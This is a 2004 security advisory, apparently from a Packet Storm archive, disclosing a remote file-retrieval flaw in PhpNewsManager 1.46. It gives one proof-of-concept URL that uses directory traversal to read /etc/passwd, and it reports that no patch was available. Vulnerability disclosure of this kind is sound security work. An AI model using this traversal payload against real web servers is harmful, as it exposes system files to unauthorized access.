ZH2004-09SA.txt

2004-02-23T00:00:00
ID PACKETSTORM:32748
Type packetstorm
Reporter G00db0y
Modified 2004-02-23T00:00:00

Description

                                        
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ZH2004-09SA (security advisory): PhpNewsManager Remote arbitrary files retrieving  
  
Discovered: 02 february 2004  
  
Vendor Contacted: 10 february 2004  
  
Published: 23 february 2004  
  
Name: PhpNewsManager  
  
Affected Systems: 1.46  
  
Issue: Remote file retrieving  
  
Author: G00db0y from Zone-h Security Labs - g00db0y@zone-h.org - zetalabs@zone-h.org  
  
Vendor: http://www.skintech.org  
  
  
Description  
  
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Zone-h Security Team has discovered a flaw in PhpNewsManager. There is a vulnerability in the current version of PhpNewsManager that allows an attacker to retrieve arbitrary files from the webserver with its priviledges.  
"phpNewsManager is the ultimate news manager for your website. The script is a whole solution for managing websites and supports many features with multi-level user access."  
  
  
Details  
  
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It's possibile for a remote attacker to retrieve any file from a webserver.  
  
For example try this:  
  
http://address/directory/functions.php?clang=../../../../../../../../../../../../etc/passwd  
  
  
  
  
Solution:  
  
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The vendor has been contacted and a patch was not yet produced.  
  
  
  
  
G00db0y from Zone-h Security Labs - g00db0y@zone-h.org - zetalabs@zone-h.org  
  
http://www.zone-h.org/en/advisories/read/id=4024/  
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